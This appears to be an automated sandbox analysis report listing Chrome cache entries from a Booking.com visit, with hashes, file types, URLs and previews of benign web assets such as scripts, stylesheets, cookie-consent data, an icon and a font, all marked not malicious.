SHA-512:	04766BD98E0C7B088707483FDE694D47C69CFD18932B7044922E8BE5CEDA060652ED29985ED5EC312F7B21420911C600678CDE59F7B9CE522D3FD8F5D8F4BACF
Malicious:	false
URL:	https://saa.booking.com/asset.76f4cfe389ea593cf33909bbcedb7949.js
Preview:	var $jscomp={scope:{}};$jscomp.defineProperty="function"==typeof Object.defineProperties?Object.defineProperty:function(k,m,l){if(l.get\|\|l.set)throw new TypeError("ES3 does not support getters and setters.");k!=Array.prototype&&k!=Object.prototype&&(k[m]=l.value)};$jscomp.getGlobal=function(k){return"undefined"!=typeof window&&window===k?k:"undefined"!=typeof global&&null!=global?global:k};$jscomp.global=$jscomp.getGlobal(this);.$jscomp.polyfill=function(k,m,l,d){if(m){l=$jscomp.global;k=k.split(".");for(d=0;d<k.length-1;d++){var a=k[d];a in l\|\|(l[a]={});l=l[a]}k=k[k.length-1];d=l[k];m=m(d);m!=d&&null!=m&&$jscomp.defineProperty(l,k,{configurable:!0,writable:!0,value:m})}};$jscomp.polyfill("Array.prototype.fill",function(k){return k?k:function(k,l,d){var a=this.length\|\|0;0>l&&(l=Math.max(0,a+l));if(null==d\|\|d>a)d=a;d=Number(d);0>d&&(d=Math.max(0,a+d));for(l=Number(l\|\|0);l<d;l++)this[l]=k;return this}},"es6-impl","es3");.(function(){function k(d,a,c){d[a]=d[a]\|\|c}var m="undefined"!==type

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	642
Entropy (8bit):	7.485255326893554
Encrypted:	false
SSDEEP:	12:6v/7+FO+DpBBzM22sBdG4llNTJ6yHfbE8/jALtcq4PsesuZtC6mN:5tj2sBdpXlHfw8chcqgsCZxmN
MD5:	41A0E840AA47C87E19D2BFE0B1231C3F
SHA1:	B5F588CA91FC9E67B5EA658C5FF943B0639E57B9
SHA-256:	A333D02EEDDE7A4DD8643D58B0EA7947268A1762F35F517EB6000EC9E7FCFAE8
SHA-512:	8578A788F605BC27B4326EB38417A71E45A05AC885B971C49AC3C7D23F6DDF747F69F2CCF3DF0C461E1C90268247D6959F248D3001518F56888F6D6B8C1CDD2E
Malicious:	false
Preview:	.PNG........IHDR...0...0.....`......uPLTE..0<9p..0.'@.....0<:p.s}TS.....a_.HFymk.IFy.;I......yx....HGy..........Wd.........&@...mk.......G^............l.........tRNS...;%j.....IDATH..a..0..`..5..KiA8..S..O.y.....h><..4.......c..0..Pm.v......i...iuo..;..X..H'7LVM.....{..5zM.{.B"-4r[O..L..fw.hY..G...\.@h.U.kS...d.2`{...]i.....Zt@....t.,.z..W..x..........V-lB...S.!...S....U5.....E.+...g..4.....!.?...N..w.7-L[....<j..\|.+r5.u~..a0.<.l..._.h.q..4.....(.>.<.E.I...-t....X.S.77-nX.......^.T.*.....s.m.......~V....Lnz....Y...5......-...\|...{q...'.lN.W.4W]..<.......`!..A......D@...$.....0X.I..1XI.....T....C..@.}....IEND.B`.

Chrome Cache Entry: 184

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24720), with no line terminators
Category:	downloaded
Size (bytes):	24720
Entropy (8bit):	4.791581848112604
Encrypted:	false
SSDEEP:	384:Wd8C4hGojxHjouZmCy7qGAVsq1nwGfg4xqsQMPNE:H9JCJ
MD5:	98B5C29CF94D2FE934D0D126C3E3779F
SHA1:	E0B32752F723123C3F157A36D52E81E5184974E6
SHA-256:	6C496FCBE60FEC78DC1B86A9136644D9A97CAE20DF32BE3E9A4A62CE7BD0E6A6
SHA-512:	7AD505F42CD5574A2BF966BA7533F50C254924DF1EBF45023260445E5260AC1212E908CFDED31E18C8091412A58F9328A4562F8AC8A6A526E30578467C404B54
Malicious:	false
URL:	https://cdn.cookielaw.org/scripttemplates/202408.1.0/assets/otCommonStyles.css
Preview:	#onetrust-banner-sdk .onetrust-vendors-list-handler{cursor:pointer;color:#1f96db;font-size:inherit;font-weight:700;text-decoration:none;margin-left:5px}#onetrust-banner-sdk .onetrust-vendors-list-handler:hover{color:#1f96db}#onetrust-banner-sdk:focus{outline:2px solid #000;outline-offset:-2px}#onetrust-banner-sdk a:focus{outline:2px solid #000}#onetrust-banner-sdk #onetrust-accept-btn-handler,#onetrust-banner-sdk #onetrust-reject-all-handler,#onetrust-banner-sdk #onetrust-pc-btn-handler{outline-offset:1px}#onetrust-banner-sdk.ot-bnr-w-logo .ot-bnr-logo{height:64px;width:64px}#onetrust-banner-sdk .ot-tcf2-vendor-count.ot-text-bold{font-weight:700}#onetrust-banner-sdk .ot-close-icon,#onetrust-pc-sdk .ot-close-icon,#ot-sync-ntfy .ot-close-icon{background-size:contain;background-repeat:no-repeat;background-position:center;height:12px;width:12px}#onetrust-banner-sdk .powered-by-logo,#onetrust-banner-sdk .ot-pc-footer-logo a,#onetrust-pc-sdk .powered-by-logo,#onetrust-pc-sdk .ot-pc-footer-lo

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2343)
Category:	dropped
Size (bytes):	52916
Entropy (8bit):	5.51283890397623
Encrypted:	false
SSDEEP:	768:oHzaMKHBCwsZtisP5XqYofL+qviHOlTjdNoVJDe6VyKaqgYUD0ZTTE8yVfZsk:caMKH125hYiM8O9dNoVJ3N48yVL
MD5:	575B5480531DA4D14E7453E2016FE0BC
SHA1:	E5C5F3134FE29E60B591C87EA85951F0AEA36EE1
SHA-256:	DE36E50194320A7D3EF1ACE9BD34A875A8BD458B253C061979DD628E9BF49AFD
SHA-512:	174E48F4FB2A7E7A0BE1E16564F9ED2D0BBCC8B4AF18CB89AD49CF42B1C3894C8F8E29CE673BC5D9BC8552F88D1D47294EE0E216402566A3F446F04ACA24857A
Malicious:	false
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var n=this\|\|self,p=function(a,b){a=a.split(".");var c=n;a[0]in c\|\|"undefined"==typeof c.execScript\|\|c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}:c[d]=b};function q(){for(var a=r,b={},c=0;c<a.length;++c)b[a[c]]=c;return b}function u(){var a="ABCDEFGHIJKLMNOPQRSTUVWXYZ";a+=a.toLowerCase()+"0123456789-_";return a+"."}var r,v;.function aa(a){function b(k){for(;d<a.length;){var m=a.charAt(d++),l=v[m];if(null!=l)return l;if(!/^[\s\xa0]*$/.test(m))throw Error("Unknown base64 encoding at char: "+m);}return k}r=r\|\|u();v=v\|\|q();for(var c="",d=0;;){var e=b(-1),f=b(0),h=b(64),g=b(64);if(64===g&&-1===e)return c;c+=String.fromCharCode(e<<2\|f>>4);64!=h&&(c+=String.fromCharCode(f<<4&240\|h>>2),64!=g&&(c+=String.fromCharCode(h<<6&192\|g)))}};var w={},y=function(a){w.TAGGING=w.TAGGING\|\|[];w.TAGGING[a]=!0};var ba=Array.isArray,c

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	65497
Entropy (8bit):	5.4323525103402766
Encrypted:	false
SSDEEP:	1536:gHMKIgYCYJ28C/JC4CmaHid47nG9uSlYRa5m7Tf7B:gMFX28CBC4CZoYA5S7B
MD5:	21A3BC7BEB959B528DBF92CDB0790420
SHA1:	B38E158BB0CC6569618AF9A628CB65C214E00804
SHA-256:	5DEABAB9CB76F3693AF2FD55FE3564E36F7032CB9178797350EDD0240DE5A0C9
SHA-512:	08B8AC696DC4FAC5A2F4C1325A732D869016C94E840A762A37E3D2C62F005DCDC8F137CFB2ED9403030B6A17664767E936D7DBBA6BCDA71F79253A64A3CC5DBE
Malicious:	false
URL:	https://cdn.cookielaw.org/consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/0191ffb2-0224-7614-89a9-ce4becc49775/en-us.json
Preview:	{"DomainData":{"pccloseButtonType":"Icon","pclifeSpanYr":"Year","pclifeSpanYrs":"Years","pclifeSpanSecs":"A few seconds","pclifeSpanWk":"Week","pclifeSpanWks":"Weeks","pccontinueWithoutAcceptText":"Continue without Accepting","MainText":"Manage cookie settings","MainInfoText":"<p>Select which cookies you.d like to accept or decline on this site. You can choose to enable and/or disable the settings for each cookie category at any time.</p>\n<p>You can find more detailed information on cookie use and descriptions in our <a href=\"https://www.booking.com/content/privacy.html\" target=\"_blank\">Privacy & Cookie Statement</a>.</p>","AboutText":"","AboutCookiesText":"Your cookie settings","ConfirmText":"Accept all","AllowAllText":"Save Settings","CookiesUsedText":"Cookies used","CookiesDescText":"Description","AboutLink":"","ActiveText":"Active","AlwaysActiveText":"Always Active","AlwaysInactiveText":"Always Inactive","PCShowAlwaysActiveToggle":true,"AlertNoticeText":"<p>On this website,

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11991), with no line terminators
Category:	dropped
Size (bytes):	11991
Entropy (8bit):	5.466361226287459
Encrypted:	false
SSDEEP:	192:wHMyqfaLLirROxN/p7ow7PzicmpFqSwCOLPoIkizRKVeCLth9SalgrrHAozr+mhg:RyKtNS/zfvdGLRlgvHbVhFjFTYD
MD5:	5CC3FBA8F5E14A1BF6DBB08589AD9063
SHA1:	139AD6E4FD4CEE8CFCFD1E82D51C2512A58B9B0A
SHA-256:	5BF68F6F50E9505533D496296E87F9CB270A644D7F56211673FF0481FAE7D7F6
SHA-512:	862DF7CA0A38BA7FF3443134226E298265713A9C2C78FAFA00070B23DD26C30A426287FF0EF34BAAF9C1360F0EE6F4CF2F3E7F3397B00CF9AC766A090540666B
Malicious:	false
Preview:	"use strict";(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[133],{49133:function(t,n,e){var r,o,i,s,u,a,f,c,l;function p(t){return p="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},p(t)}e(70489),e(95853),e(64509),e(20341),e(17482),e(7849),e(78604),e(68305),function(t,n){if(!n.jstmpl){var e,r,o,i,s,u,a,f,c,l,p,g,h,_,v,m,d,T,b,S,y,A,w,E,L,M,R=[];i=function(t,n){this.closure=t,this.name=n},s=function(t){var n=[];return c(n,t,0),1===n.length?n[0]:n.join("")},a=function(t,n,e){return/^[0-9]+$/.test(t)?t:""===t?null:(M("Attempting to use non-numeric value '"+t+"' for translation tag '"+e+"'"),0)},M=function(r,o){r=r\|\|"BHCJS runtime issue",n&&n.env&&n.env.b_dev_server?(o&&console.warn("Template: "+o),console.error(r)):e.error_out&&t.onerror&&t.onerror("JSTMPL:: "

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	231572
Entropy (8bit):	5.555832677521762
Encrypted:	false
SSDEEP:	3072:GiU59HzSHtq2FXyDmvXq507EflG8YU7+B8x/9:GiU5tSHtq2FXyDmC0I7n/9
MD5:	95744D9B9384066E908E63BBAD3A188B
SHA1:	865538ADC7434D75E955733AEA35EEE22537B2EC
SHA-256:	1623411F7208516B214A1B1CFB5B544DFDEBB718721E871B1AA31C898C21E2D5
SHA-512:	457743742B2B8CF21622100CC350DAD5C175F5F93A08D494FD577A079059059D7857F0C488695C0249D023873C43F4DA16BB89B2ED0F39407E56F0912F524E68
Malicious:	false
URL:	https://cf.bstatic.com/psb/accountsportal/assets/709_c32002792e35c69191e8.css
Preview:	.T2rWNppPhktSYskjUv1y{position:var(--bui_mixin_position)!important}.T2rWNppPhktSYskjUv1y[style="--bui_mixin_position--s"]{--bui_mixin_position:var(--bui_mixin_position--s)}@media (min-width:576px){.T2rWNppPhktSYskjUv1y[style="--bui_mixin_position--m"]{--bui_mixin_position:var(--bui_mixin_position--m)}}@media (min-width:1024px){.T2rWNppPhktSYskjUv1y[style="--bui_mixin_position--l"]{--bui_mixin_position:var(--bui_mixin_position--l)}}@media (min-width:1280px){.T2rWNppPhktSYskjUv1y[style="--bui_mixin_position--xl"]{--bui_mixin_position:var(--bui_mixin_position--xl)}}.rzdKKsGEShe6NDbVYl9b{z-index:var(--bui_z_index_0)!important}.ii5jwmWZLHuk5IB9mW7t{z-index:var(--bui_z_index_1)!important}.PwLZnoO6cZczi8LvTs4N{z-index:var(--bui_z_index_2)!important}.J2_CU8Ow7PEilhnU8Im1{z-index:var(--bui_z_index_3)!important}.iekaqIV6FHLXK7DDuXWT{z-index:var(--bui_z_index_4)!important}@media (min-width:576px){.rbcedG7RrhAURAtmuFsQ{z-index:var(--bui_z_index_0)!important}.mfR6csSDsJtMy9geJOPo{z-index:var(--

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11991), with no line terminators
Category:	downloaded
Size (bytes):	11991
Entropy (8bit):	5.466361226287459
Encrypted:	false
SSDEEP:	192:wHMyqfaLLirROxN/p7ow7PzicmpFqSwCOLPoIkizRKVeCLth9SalgrrHAozr+mhg:RyKtNS/zfvdGLRlgvHbVhFjFTYD
MD5:	5CC3FBA8F5E14A1BF6DBB08589AD9063
SHA1:	139AD6E4FD4CEE8CFCFD1E82D51C2512A58B9B0A
SHA-256:	5BF68F6F50E9505533D496296E87F9CB270A644D7F56211673FF0481FAE7D7F6
SHA-512:	862DF7CA0A38BA7FF3443134226E298265713A9C2C78FAFA00070B23DD26C30A426287FF0EF34BAAF9C1360F0EE6F4CF2F3E7F3397B00CF9AC766A090540666B
Malicious:	false
URL:	https://cf.bstatic.com/psb/accountsportal/assets/133_878a17a1dd9684883a3d.js
Preview:	"use strict";(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[133],{49133:function(t,n,e){var r,o,i,s,u,a,f,c,l;function p(t){return p="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},p(t)}e(70489),e(95853),e(64509),e(20341),e(17482),e(7849),e(78604),e(68305),function(t,n){if(!n.jstmpl){var e,r,o,i,s,u,a,f,c,l,p,g,h,_,v,m,d,T,b,S,y,A,w,E,L,M,R=[];i=function(t,n){this.closure=t,this.name=n},s=function(t){var n=[];return c(n,t,0),1===n.length?n[0]:n.join("")},a=function(t,n,e){return/^[0-9]+$/.test(t)?t:""===t?null:(M("Attempting to use non-numeric value '"+t+"' for translation tag '"+e+"'"),0)},M=function(r,o){r=r\|\|"BHCJS runtime issue",n&&n.env&&n.env.b_dev_server?(o&&console.warn("Template: "+o),console.error(r)):e.error_out&&t.onerror&&t.onerror("JSTMPL:: "

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (49673), with no line terminators
Category:	dropped
Size (bytes):	3332501
Entropy (8bit):	5.813833659089693
Encrypted:	false
SSDEEP:	24576:bAIIYZABWN9/V8F00u5/wEQ+uBj5NKQaHzD5:bAIIYZABWN9aF00u5/wEQ+uFmQaB
MD5:	33508011962732938659291FFBE05B95
SHA1:	B489FB512E51F1682CDCC3E4732EC7B55C0DD6A7
SHA-256:	98A41E4926EF707E173CCAFBDCF54DA1D1DF7E52EDA7CE62013124692630AF30
SHA-512:	69EC986DE90B4DC56E9514BAD3B21180165E12DC2C69F331D0DB48AA00454C3F7CA10D0DE05F95A238CF529392B34112008C2C7C7E3E37592F0E56B2BB9DDC0E
Malicious:	false
Preview:	(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[57],{43450:function(n,e,t){"use strict";var i;function a(n){return a="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},a(n)}function r(n,e){for(var t=0;t<e.length;t++){var i=e[t];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(n,_(i.key),i)}}function o(n,e,t){return(e=_(e))in n?Object.defineProperty(n,e,{value:t,enumerable:!0,configurable:!0,writable:!0}):n[e]=t,n}function _(n){var e=function(n,e){if("object"!=a(n)\|\|!n)return n;var t=n[Symbol.toPrimitive];if(void 0!==t){var i=t.call(n,"string");if("object"!=a(i))return i;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(n)}(n);return"symbol"==a(e)?e:String(e)}t(82975),t(17482),t(1

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4751), with no line terminators
Category:	dropped
Size (bytes):	4751
Entropy (8bit):	5.2745439988509455
Encrypted:	false
SSDEEP:	96:SGNB9ptG5P1V4F4VRxCTv7rQt4nRU7DerZqtDcGfcw0:SGNb21LTAwWnRU7DeaD0
MD5:	C51B5D318485406B1443DFD5F55D26D1
SHA1:	39B2CA9A74A822EE1E175FBBC4AB168510C40E0A
SHA-256:	76929901D96CD6FE076F40739EE5B7C1208344B2012C3A39885BB6EE5897EFB8
SHA-512:	1BEC5F1AA2E2C20E20DA1C49BBD8C0413B24DAE95FCBC19C96CC297BC60AB3D7FD26F4C16BF9FAA853D63B451B8AAA0E3DEF2DF533D8F67EDA1E44FAB796C74B
Malicious:	false
Preview:	!function(){"use strict";var e,t,r,n,o,i={},u={};function a(e){var t=u[e];if(void 0!==t)return t.exports;var r=u[e]={id:e,loaded:!1,exports:{}};return i[e].call(r.exports,r,r.exports,a),r.loaded=!0,r.exports}a.m=i,e=[],a.O=function(t,r,n,o){if(!r){var i=1/0;for(f=0;f<e.length;f++){r=e[f][0],n=e[f][1],o=e[f][2];for(var u=!0,c=0;c<r.length;c++)(!1&o\|\|i>=o)&&Object.keys(a.O).every((function(e){return a.O[e](r[c])}))?r.splice(c--,1):(u=!1,o<i&&(i=o));if(u){e.splice(f--,1);var s=n();void 0!==s&&(t=s)}}return t}o=o\|\|0;for(var f=e.length;f>0&&e[f-1][2]>o;f--)e[f]=e[f-1];e[f]=[r,n,o]},a.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return a.d(t,{a:t}),t},a.d=function(e,t){for(var r in t)a.o(t,r)&&!a.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},a.f={},a.e=function(e){return Promise.all(Object.keys(a.f).reduce((function(t,r){return a.f[r](e,t),t}),[]))},a.u=function(e){return"assets/chunk_"+e+"_"+{63:"fabaec2f1cf08f259d9e",516:"ef01aee52940

Chrome Cache Entry: 192

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	464200
Entropy (8bit):	5.359785165365255
Encrypted:	false
SSDEEP:	6144:uBdxNJAbxBZTE7qQ5bL8ie8zT1h8oVp7JMmUDQ6pMOu+ZeF:8jAbxBZTE7qQp7JSG4ZQ
MD5:	B6229105523571CBE1163488B97C9358
SHA1:	89EC2F5D13AB3642E13CDC06F0ACC4BEE9DE4616
SHA-256:	4B18751F3A50A2525E37E8CAEDA2E00F3C683F1689D629DBB21F3D570A9343AF
SHA-512:	C1C6D4D066378197B2BEBB4F0A55B6F3130A2C129F5AA84BF8BB6A026D57B9B31B9319E5FDFB8E5A9EC936AA63ED9C9FAD40494398004063AB236DA34C60C0A0
Malicious:	false
URL:	https://cdn.cookielaw.org/scripttemplates/202408.1.0/otBannerSdk.js
Preview:	/** . * onetrust-banner-sdk. * v202408.1.0. * by OneTrust LLC. * Copyright 2024 . */.!function(){"use strict";var x=function(e,t){return(x=Object.setPrototypeOf\|\|({__proto__:[]}instanceof Array?function(e,t){e.__proto__=t}:function(e,t){for(var o in t)Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o])}))(e,t)};function D(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");function o(){this.constructor=e}x(e,t),e.prototype=null===t?Object.create(t):(o.prototype=t.prototype,new o)}var H,R=function(){return(R=Object.assign\|\|function(e){for(var t,o=1,n=arguments.length;o<n;o++)for(var r in t=arguments[o])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};function u(e,s,a,l){return new(a=a\|\|Promise)(function(o,t){function n(e){try{i(l.next(e))}catch(e){t(e)}}function r(e){try{i(l.throw(e))}catch(e){t(e)}}function i(e){var t;e.done?o(e.value):((t=e.value)instanceof a?t:new a(fun

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (47699), with NEL line terminators
Category:	downloaded
Size (bytes):	472909
Entropy (8bit):	5.603887876458358
Encrypted:	false
SSDEEP:	6144:leING6/2f90bJcq4Hk1SZfn4MyUyq2ru/L+iobTNr7pG0V:lm6/jbyq4Hk1SZfn12C1oZQg
MD5:	382797DE2B742ABBCD4B2F89F26DC330
SHA1:	BB2CFBF78B5F8293E89A01F1B9678B5CD7D4F5F5
SHA-256:	1A905ABDC1855B101965BBDA7E0C422AF729F478893C5CCBCEDAE11298750D20
SHA-512:	86E09AF0B9C5B9E87D59CA137C18507882AE80201B7F16732A88FD8CE4C3AC3E7CF09E6C61DF772770090C4601EC7D72AD116A051A68B201CC2EED0EE474FCF6
Malicious:	false
URL:	https://xx.bstatic.com/libs/datavisor/20231228/sdk.js
Preview:	!function(){"use strict";var P="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function j(t){return t&&t.__esModule&&Object.prototype.hasOwnProperty.call(t,"default")?t.default:t}function L(n){if(n.__esModule)return n;var r=Object.defineProperty({},"__esModule",{value:!0});return Object.keys(n).forEach(function(t){var e=Object.getOwnPropertyDescriptor(n,t);Object.defineProperty(r,t,e.get?e:{enumerable:!0,get:function(){return n[t]}})}),r}function U(t){throw new Error('Could not dynamically require "'+t+'". Please configure the dynamicRequireTargets or/and ignoreDynamicRequires option of @rollup/plugin-commonjs appropriately for this require call to work.')}function M(t){return t&&t.Math==Math&&t}function F(t){try{return!!t()}catch(t){return!0}}function V(t,e){return{enumerable:!(1&t),configurable:!(2&t),writable:!(4&t),value:e}}function G(t){return Ht.call(t).slice(8,-1)}function J(t){if(null

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1099135
Entropy (8bit):	5.139108696421837
Encrypted:	false
SSDEEP:	12288:8p0z0860iF4bCpB0Z89+gvzrHM4I7chPCjP855Znm5JKbnHi8wCZM3i1gK3mBw0h:8CzMFxnvxmGAx60UYDCO
MD5:	B1EE4C15545532D93C0243A9F93DD23D
SHA1:	4DBE2CD309BFA52289493F080401C0B5D873D717
SHA-256:	E79F3035D55D384C8B4FE25942A63803205CF7EBA9128A4B435A2CA14B63A686
SHA-512:	EB3D6F771F2FA19637DADEF8AAC5A37886293DEDDFBC809B00DDBFD42DA2012C9BC74C968CFC65A739433D7F25B2D1F17679632F97AEB07CBF2DF9433807DEBD
Malicious:	false
Preview:	var a0_0x49b7=['MAX_AGE_SECONDS','{283807B5-2C60-11D0-A31D-00AA00B92C03}','startDecrypting','signedDataValidator','Could\x20not\x20compute\x20certificate\x20digest.\x20Unknown\x20message\x20digest\x20algorithm\x20OID.','Leftmost\x20octets\x20not\x20zero\x20as\x20expected','PuTTY-User-Key-File-2:\x20','X509\x20CERTIFICATE','getMetrics','__lastWatirPrompt','rsa','6029GpcwZv','collectedData','randomBytes','client\x20finished','forge.setImmediate','Certificate.signatureValue','3DES-CBC','Arno\x20Pro\x20Display','macKey','Garamond\x20Premr\x20Pro','Bradley\x20Hand\x20ITC','srcdoc','AES-ECB','1.2.840.113549.1.9.22.1','no_renegotiation','RC2-64-CBC','client_write_MAC_key','699nNwIod','gain','Certificate.TBSCertificate.validity.notBefore\x20(utc)','prefilled','messageLength64','captchaBlob','forge.pki.CertificateUnknown','generateLocalKeyId','capsEl','1.2.840.113549.3.7','verbose','rsapss','\x22maxline\x22\x20must\x20be\x20a\x20number.','hasOwnProperty','3075734tkrHMH','Encryption\x20block\x20

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (593), with no line terminators
Category:	downloaded
Size (bytes):	593
Entropy (8bit):	4.948058860327425
Encrypted:	false
SSDEEP:	12:AEdS+NfFdBMeWEeXNOXIN6ACuHnom/7ojLL/7Gk12XC1ItYDRWCKb:3p/BMeHedOXImuHotHl2XC1FRWV
MD5:	12AB1AC1481363CDFCBC0C7E94404E1A
SHA1:	768615190923505659B686D6A036D5071738F9B6
SHA-256:	C900A864B1D5AADEF7184740F11B3B5F4CAA1AC6A407D7EA59A741A259E01FC4
SHA-512:	1B856332153E98C8ACC49DDC6258D669D47416F4E281B2D6EA6FE5BD15B765F9832BE3C68D227DF60A295C698F5865DE823C42ACFECC5B67D766862FC48DDE60
Malicious:	false
URL:	https://www.bstatic.com/libs/privacy-consent/1.0.0/partner/cookie-banner.min.js
Preview:	function OptanonWrapper(){}function getDomainUUID(){var t=document.querySelector("script[src*='privacy-consent']");if(t&&t.hasAttribute("data-domain-script"))return t.getAttribute("data-domain-script").trim()}!function(){var t=getDomainUUID(),e=document.createElement("script");e.type="text/javascript",e.setAttribute("async","true"),e.setAttribute("src","https://cdn.cookielaw.org/scripttemplates/otSDKStub.js"),e.setAttribute("charset","UTF-8"),e.setAttribute("data-document-language","true"),e.setAttribute("data-domain-script",t),document.getElementsByTagName("head")[0].appendChild(e)}();

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (799)
Category:	downloaded
Size (bytes):	3662
Entropy (8bit):	5.4767781783171126
Encrypted:	false
SSDEEP:	96:/Z5gixsZq4LjbAadjbb3kb5Cq1Kypp1EqTewM04Q:/rR2E4LoadzFgT1EqTz
MD5:	2C3950F122B3977DF61B0E077AAA92C8
SHA1:	7BBC3B129BB0F1320C6ECB67688DDC8F78EF6574
SHA-256:	6082597F3871C77C9B31AA1383577F8C0E54CB5FF09275DC817BC70D96E6217D
SHA-512:	0651EAD9C0FF20B42C8A9380A9EBBACA9291C3D00F061C08E9D9B1E33D923D40BA10EAB11DFEDD4544DAD1F9716D6D76DB3DFFE7FDC744C643F75D7BD08F53FD
Malicious:	false
URL:	https://xx.bstatic.com/libs/acc-clientlib/v5/clientlib.js
Preview:	(function(){.var g=this\|\|self;function z(){return"undefined"===typeof Date.now?(new Date).getTime():Date.now()}function N(E){this.L=E;16==this.L?(this.v=268435456,this.C=4026531839):(this.v=78364164096,this.C=2742745743359)}function l(E){return(Math.floor(Math.random()*E.C)+E.v).toString(E.L)};function T(E){this.C=E}T.prototype.supported=function(){return void 0!=window.localStorage};T.prototype.get=function(){return window.localStorage.getItem(this.C)};T.prototype.set=function(E){return window.localStorage.setItem(this.C,E)};T.prototype.set=T.prototype.set;function Z(){var E=z(),Y=new N(16);Y=l(Y)+l(Y)+l(Y)+l(Y);return[0,0,E,E,Y].join(":")}function J(){var E=new T("ed73f20edbf2b73");if(!E.supported())return null;E=E.get();if(null===E)return null;var Y=E.split("_");2===Y.length&&(E=Y[0]);return"0:"+E}.function v(){var E=J();if(null===E)if(E=new T("ed73f20edbf2b74"),E.supported()){var Y=E.get();null===Y&&(Y=Z());var u=E.set;var S=Y.split(":");if(5!=S.length)S=Y;else{var t=parseInt(S[1],

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 25328, version 1.0
Category:	downloaded
Size (bytes):	25328
Entropy (8bit):	7.981444059067758
Encrypted:	false
SSDEEP:	768:RK06TIhBO4KiqAMXZOCq8aLmrXKkIYUUKK4RHU:R3OOBObKMXZOC3aoakIYU5K4O
MD5:	1CE83DBA9B028D54997F401FCC88EE88
SHA1:	0477A4C45C0697562761469726762D136E9EB832
SHA-256:	E63D9656C13BAF8786714C53106A0EC404CF8ED4A4B6038345D9029864A3ABB6
SHA-512:	0537A64D42FF43509B68BB779A59D4CF26693C0384DFED59995885732EDD3BBA3503DAA9224B8F56B4132A316E2A2DEB895FB0EE905BF910E053EE23812E4739
Malicious:	false
URL:	https://t-cf.bstatic.com/design-assets/assets/v3.58.1/fonts-brand/BookingExtraBold.woff
